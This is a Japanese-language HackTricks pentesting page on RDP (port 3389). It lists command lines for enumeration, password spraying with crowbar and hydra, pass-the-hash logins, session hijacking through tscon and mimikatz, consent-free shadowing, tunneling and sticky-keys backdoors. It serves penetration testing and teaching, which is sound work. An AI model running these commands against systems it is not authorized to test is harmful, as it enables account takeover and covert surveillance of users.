3389 - Pentesting RDP

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

基本情報

Microsoft によって開発された Remote Desktop Protocol (RDP) は、ネットワーク経由でコンピュータ間のグラフィカルなインターフェース接続を可能にするよう設計されています。この接続を確立するには、ユーザが RDP クライアントソフトウェアを使用し、同時にリモート側のコンピュータは RDP サーバーソフトウェアを稼働させている必要があります。この構成により、遠隔コンピュータのデスクトップ環境をシームレスに制御・アクセスでき、実質的にそのインターフェースをユーザのローカルデバイスに表示します。

既定のポート: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

列挙

自動

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

利用可能な暗号化とDoS脆弱性(サービスにDoSを引き起こすことなく)をチェックし、NTLM Windows情報(バージョン)を取得します。

セキュリティレイヤー / NLA チェック

RDPは異なるセキュリティレイヤー (native RDP, TLS, or CredSSP/NLA) を交渉できます。サーバー側の設定やNLAが要求されるかどうかを素早く識別できます:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

注意: アカウントをロックしてしまう可能性があります

Password Spraying

注意: アカウントをロックしてしまう可能性があります

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

既知の credentials/hash を使って接続

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

既知の認証情報を RDP サービスで確認する

impacket の rdp_check.py を使うと、ある認証情報が RDP サービスで有効かどうかを確認できます:

rdp_check <domain>/<name>:<password>@<IP>

攻撃

Session stealing

SYSTEM 権限があれば、所有者のパスワードを知らなくても、任意のユーザーが開いている RDP セッションにアクセスできます。

開いているセッションを取得する:

query user

選択したセッションへのアクセス

tscon <ID> /dest:<SESSIONNAME>

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

重要: アクティブな RDP セッションにアクセスすると、そのセッションを使用していたユーザは強制的にログオフされます。

プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに高速で、ユーザの仮想デスクトップと直接やり取りできます(ディスクに保存されていない Notepad 内のパスワード、別のマシンで開かれている他の RDP セッションなど…)。

Mimikatz

これを行うために mimikatz を使用することもできます:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

もし Remote Desktop Services shadowing が有効になっている場合、組み込みの mstsc スイッチを使って、他のユーザーのアクティブなセッションを 閲覧または操作(場合によっては 同意なしに)できます。

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDPは確立されたRDPセッション上でのvirtual channelsを悪用してpivoting/tunnelingすることができます。1つの方法はrdp2tcp(client/server)で、RDP上でTCP転送を多重化できます(FreeRDPで動作します)。

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

この手法をstickykeysまたはutilman あなたはいつでも管理者のCMDおよび任意のRDPセッションにアクセスできるようになります

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

別ドメインのユーザ、またはbetter privileges login via RDPでログインするより高い権限のユーザが、あなたがyou are an AdminであるPCにアクセスした場合、あなたはinjectであなたのbeaconを彼のRDP session processに挿入し、彼として行動できます:

RDP Sessions Abuse

RDP グループにユーザーを追加

net localgroup "Remote Desktop Users" UserLoginName /add

自動ツール

AutoRDPwnはPowershellで作成されたpost-exploitationフレームワークで、主にMicrosoft Windows上のShadow攻撃を自動化するために設計されています。この脆弱性(Microsoftによって機能として記載されています)は、リモート攻撃者が被害者のデスクトップを同意なしに閲覧することを可能にし、さらにOS標準のツールを使って要求に応じて制御することもできます。

  • EvilRDP

  • コマンドラインからマウスとキーボードを自動的に操作できる

  • コマンドラインからクリップボードを自動的に操作できる

  • クライアントからSOCKS proxyを生成し、RDP経由でターゲットへネットワーク通信を中継する

  • ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行できる

  • ターゲットでファイル転送が無効になっている場合でも、ターゲットへ/からファイルのアップロード・ダウンロードが可能

  • SharpRDP

このツールは、被害者のRDP上でグラフィカルインターフェースを必要とせずにコマンドを実行することを可能にします。

HackTricksの自動コマンド

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

参考文献

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート